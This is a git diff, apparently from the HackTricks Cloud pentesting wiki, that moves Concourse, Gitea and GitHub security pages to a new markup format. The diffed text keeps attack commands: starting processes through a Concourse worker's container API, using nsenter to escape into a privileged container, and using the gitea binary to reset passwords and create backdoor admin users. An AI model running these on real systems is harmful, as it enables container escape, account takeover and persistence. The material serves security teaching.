@@ -386,11 +368,10 @@ Capabilities:
 Seccomp: disabled
 ```
 
-However, techniques like **mounting** the /dev device of the node or release\_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
+However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
 
-{% hint style="info" %}
-In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
-{% endhint %}
+> [!NOTE]
+> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
 
 Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
 
@@ -410,7 +391,7 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
   --header='Content-Type:application/json' \
   'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
-  
+
 # OR instead of doing all of that, you could just get into the ns of the process of the privileged container
 nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
 ```
@@ -456,19 +437,6 @@ Accept-Encoding: gzip.
 
 ## References
 
-* https://concourse-ci.org/vars.html
+- https://concourse-ci.org/vars.html
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
similarity index 53%
rename from pentesting-ci-cd/concourse-security/concourse-lab-creation.md
rename to src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 2e65c7407..14b3c7845 100644
--- a/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -1,19 +1,6 @@
 # Concourse Lab Creation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Testing Environment
 
@@ -71,7 +58,7 @@ subjects:
 - kind: ServiceAccount
   name: concourse-release-web
   namespace: default
-  
+
 ---
 
 apiVersion: v1
@@ -94,15 +81,15 @@ A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which
 
 Several different type of steps can be used:
 
-* **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
-* the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
-* the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
-* the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
-* the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
-* the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
-* the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
-* the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
-* the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
+- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
+- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
+- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
+- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
+- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
+- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
+- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
+- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
+- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
 
 Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
 
@@ -112,26 +99,26 @@ Therefore, it's possible to indicate the type of container each step needs to be
 
 ```yaml
 jobs:
-- name: simple
-  plan:
-  - task: simple-task
-    privileged: true
-    config:
-      # Tells Concourse which type of worker this task should run on
-      platform: linux
-      image_resource:
-        type: registry-image
-        source:
-          repository: busybox # images are pulled from docker hub by default
-      run:
-        path: sh
-        args:
-        - -cx
-        - |
-          sleep 1000
-          echo "$SUPER_SECRET"
-      params:
-        SUPER_SECRET: ((super.secret))
+  - name: simple
+    plan:
+      - task: simple-task
+        privileged: true
+        config:
+          # Tells Concourse which type of worker this task should run on
+          platform: linux
+          image_resource:
+            type: registry-image
+            source:
+              repository: busybox # images are pulled from docker hub by default
+          run:
+            path: sh
+            args:
+              - -cx
+              - |
+                sleep 1000
+                echo "$SUPER_SECRET"
+          params:
+            SUPER_SECRET: ((super.secret))
 ```
 
 ```bash
@@ -154,24 +141,11 @@ It's possible to **save the results of one task in a file** and indicate that it
 
 You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
 
-* Some time passes: [Time resource](https://github.com/concourse/time-resource/)
-* On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
-* New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
-* Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
+- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
+- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
+- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
+- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
 
 Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
similarity index 58%
rename from pentesting-ci-cd/gitea-security/README.md
rename to src/pentesting-ci-cd/gitea-security/README.md
index 46eb21749..b1b1842fd 100644
--- a/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -1,31 +1,18 @@
 # Gitea Security
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## What is Gitea
 
 **Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
 
-![](<../../.gitbook/assets/image (160).png>)
+![](<../../images/image (160).png>)
 
 ### Basic Information
 
-{% content-ref url="basic-gitea-information.md" %}
-[basic-gitea-information.md](basic-gitea-information.md)
-{% endcontent-ref %}
+{{#ref}}
+basic-gitea-information.md
+{{#endref}}
 
 ## Lab
 
@@ -46,9 +33,9 @@ helm install gitea gitea-charts/gitea
 
 ## Unauthenticated Enumeration
 
-* Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
-* Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
-* Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
+- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
+- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
+- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
 
 Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
 
@@ -62,9 +49,8 @@ If you somehow already have credentials for a user inside an organization (or yo
 
 Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
 
-{% hint style="info" %}
-Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
-{% endhint %}
+> [!NOTE]
+> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
 
 ### With User SSH Key
 
@@ -78,7 +64,7 @@ With this key you can perform **changes in repositories where the user has some
 git config --list
 ```
 
-If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea\_username>.keys_, you could check this to confirm the private key you found can be used.
+If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\<gitea_username>.keys_, you could check this to confirm the private key you found can be used.
 
 **SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
 
@@ -110,12 +96,12 @@ As explained in the basic information, the application will have **full access o
 
 In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
 
-* **Enable Push**: If anyone with write access can push to the branch, just push to it.
-* **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
-* **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
-* **Require approvals is bigger than 0**: Then... you need to compromise another user
-* **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
-* **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
+- **Enable Push**: If anyone with write access can push to the branch, just push to it.
+- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
+- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
+- **Require approvals is bigger than 0**: Then... you need to compromise another user
+- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
+- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
 
 Note that **if you are an org/repo admin** you can bypass the protections.
 
@@ -137,29 +123,16 @@ In this file you can find **keys** and **passwords**.
 
 In the gitea path (by default: /data/gitea) you can find also interesting information like:
 
-* The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
-* The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
-* The **jwt private key** inside the jwt folder
-* More **sensitive information** could be found in this folder
+- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
+- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
+- The **jwt private key** inside the jwt folder
+- More **sensitive information** could be found in this folder
 
 If you are inside the server you can also **use the `gitea` binary** to access/modify information:
 
-* `gitea dump` will dump gitea and generate a .zip file
-* `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
-* `gitea admin user change-password --username admin --password newpassword` Change the password
-* `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
+- `gitea dump` will dump gitea and generate a .zip file
+- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
+- `gitea admin user change-password --username admin --password newpassword` Change the password
+- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
new file mode 100644
index 000000000..0fcc1a3f8
--- /dev/null
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -0,0 +1,103 @@
+# Basic Gitea Information
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Basic Structure
+
+The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
+
+Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
+
+A user may also be **part of different teams** with different permissions over different repos.
+
+And finally **repositories may have special protection mechanisms**.
+
+## Permissions
+
+### Organizations
+
+When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
+
+**Org admins** (owners) can select the **visibility** of the organization:
+
+- Public
+- Limited (logged in users only)
+- Private (members only)
+
+**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
+
+When creating a new team, several important settings are selected:
+
+- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
+- It's also indicated **if members can create new repos** (creator will get admin access to it)
+- The **permissions** the **members** of the repo will **have**:
+  - **Administrator** access
+  - **Specific** access:
+
+![](<../../images/image (118).png>)
+
+### Teams & Users
+
+In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
+
+- Administrator
+- Write
+- Read
+
+## Gitea Authentication
+
+### Web Access
+
+Using **username + password** and potentially (and recommended) a 2FA.
+
+### **SSH Keys**
+
+You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
+
+#### **GPG Keys**
+
+You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
+
+### **Personal Access Tokens**
+
+You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
+
+### Oauth Applications
+
+Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
+
+![](<../../images/image (194).png>)
+
+### Deploy keys
+
+Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
+
+## Branch Protections
+
+Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+
+The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
+
+> [!NOTE]
+> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+
+Different protections can be applied to a branch (like to master):
+
+- **Disable Push**: No-one can push to this branch
+- **Enable Push**: Anyone with access can push, but not force push.
+- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
+- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
+- **Enable Status checks:** Require status checks to pass before merging.
+- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
+- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
+- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
+- **Block merge on official review requests**: If there official review requests it cannot be merged
+- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
+- **Require Signed Commits**: Commits must be signed.
+- **Block merge if pull request is outdated**
+- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
+
+> [!NOTE]
+> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
similarity index 62%
rename from pentesting-ci-cd/github-security/README.md
rename to src/pentesting-ci-cd/github-security/README.md
index 63f6124cc..dc8fdc948 100644
--- a/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -1,19 +1,6 @@
 # Github Security
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## What is Github
 
@@ -21,17 +8,17 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png"
 
 ### Basic Information
 
-{% content-ref url="basic-github-information.md" %}
-[basic-github-information.md](basic-github-information.md)
-{% endcontent-ref %}
+{{#ref}}
+basic-github-information.md
+{{#endref}}
 
 ## External Recon
 
 Github repositories can be configured as public, private and internal.
 
-* **Private** means that **only** people of the **organisation** will be able to access them
-* **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
-* **Public** means that **all internet** is going to be able to access it.
+- **Private** means that **only** people of the **organisation** will be able to access them
+- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
+- **Public** means that **all internet** is going to be able to access it.
 
 In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
 
@@ -41,9 +28,9 @@ Github allows to **search for something specifying as scope a user, a repo or an
 
 Tools (each tool contains its list of dorks):
 
-* [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
-* [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
-* [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
+- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
+- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
+- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
 
 ### Github Leaks
 
@@ -51,17 +38,16 @@ Please, note that the github dorks are also meant to search for leaks using gith
 
 Tools (each tool contains its list of regexes):
 
-* [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
-* [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
-* [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
-* [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
-* [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
-* [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
-* [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
+- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
+- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
+- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
+- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
+- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
+- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
+- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
 
-{% hint style="warning" %}
-When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
-{% endhint %}
+> [!WARNING]
+> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
 
 ### External Forks
 
@@ -71,9 +57,9 @@ It's possible to **compromise repos abusing pull requests**. To know if a repo i
 
 Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
 
-{% content-ref url="accessible-deleted-data-in-github.md" %}
-[accessible-deleted-data-in-github.md](accessible-deleted-data-in-github.md)
-{% endcontent-ref %}
+{{#ref}}
+accessible-deleted-data-in-github.md
+{{#endref}}
 
 ## Organization Hardening
 
@@ -81,42 +67,41 @@ Even if deleted or internal it might be possible to obtain sensitive data from f
 
 There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
 
-* **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
-* **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
-* **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
-* **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
-  * _I couldn't find this info in the APIs response, share if you do_
-* **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
-  * _I couldn't find this info in the APIs response, share if you do_
-* **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
-  * _I couldn't find this info in the APIs response, share if you do_
-* **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
-  * _I couldn't find this info in the APIs response, share if you do_
-* **More things can be configured** in this page but the previous are the ones more security related.
+- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
+- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
+- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
+- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
+  - _I couldn't find this info in the APIs response, share if you do_
+- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
+  - _I couldn't find this info in the APIs response, share if you do_
+- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
+  - _I couldn't find this info in the APIs response, share if you do_
+- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
+  - _I couldn't find this info in the APIs response, share if you do_
+- **More things can be configured** in this page but the previous are the ones more security related.
 
 ### Actions Settings
 
 Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
 
-{% hint style="info" %}
-Note that all this configurations can also be set on each repository independently
-{% endhint %}
+> [!NOTE]
+> Note that all this configurations can also be set on each repository independently
 
-* **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
-  * [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-* **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
-  * _I couldn't find an API with this info, share if you do_
